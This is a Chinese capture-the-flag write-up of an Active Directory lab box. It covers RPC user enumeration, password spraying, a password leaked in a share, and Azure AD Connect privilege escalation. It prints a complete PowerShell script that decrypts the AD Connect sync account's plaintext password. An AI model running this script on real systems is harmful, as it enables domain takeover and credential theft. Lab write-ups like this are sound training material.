信息收集
端口信息

这回连Web站点都没有,入口应该是Windows服务了
用户名泄露
通过RPC服务发现了10个用户名
1 2 3 4 5 6 7 8 9 10 11
| AAD_987d7f2f57d2 mhope SABatchJobs svc-ata svc-bexec svc-netapp dgalanos roleary smorgan Guest
|

ZeroLogon
竟然有ZeroLogon

游戏结束…

利用空密码Dump Hash

PTH

认真打靶
这样的话也太没意义了,正常路径不应该是这样的。
墙裂推荐域渗透思维导图:
https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg
ASREP Roast
上面获取到了用户名,可以试一下ASREPRoast可惜没有

密码喷洒
从密码策略来看,最小7位;AD域也有锁定账户的策略。我们只能尝试密码喷洒

先试一下用户名密码相同的情况,获得一个用户密码

5985端口虽然开了但是winrm登陆失败

共享泄漏密码
尝试看看共享,可读的目录很多

发现Azure密码

尝试winrm登录,获取user flag

提权
上BloodHound扫了一遍,没有发现什么可用的提权路径

winPEAS发现了Azure Token,了解了一下Token已经是过期的了

后面留意到mhope在Azure Admins组中;
Azure Admins是 Azure AD 中的一个预定义组,该组成员可以执行任何 Azure AD 操作

于是开始寻找如何通过AzureAD提权,大部分都是需要在Azure云上操作的,用不上。
AzureAD提权
最终在这个Github项目中发现了通过Azure AD连接同步账户同步整个域hash的提权方式,正好适合我们这种情况。

XPN大佬写好了获取密码并利用mcrypt.dll解密获取明文密码的PowerShell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close()
$cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password)
|
这里需要将第一行的连接信息改一下,否则直接报错退出winrm
1 2
| $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True
|

获得root flag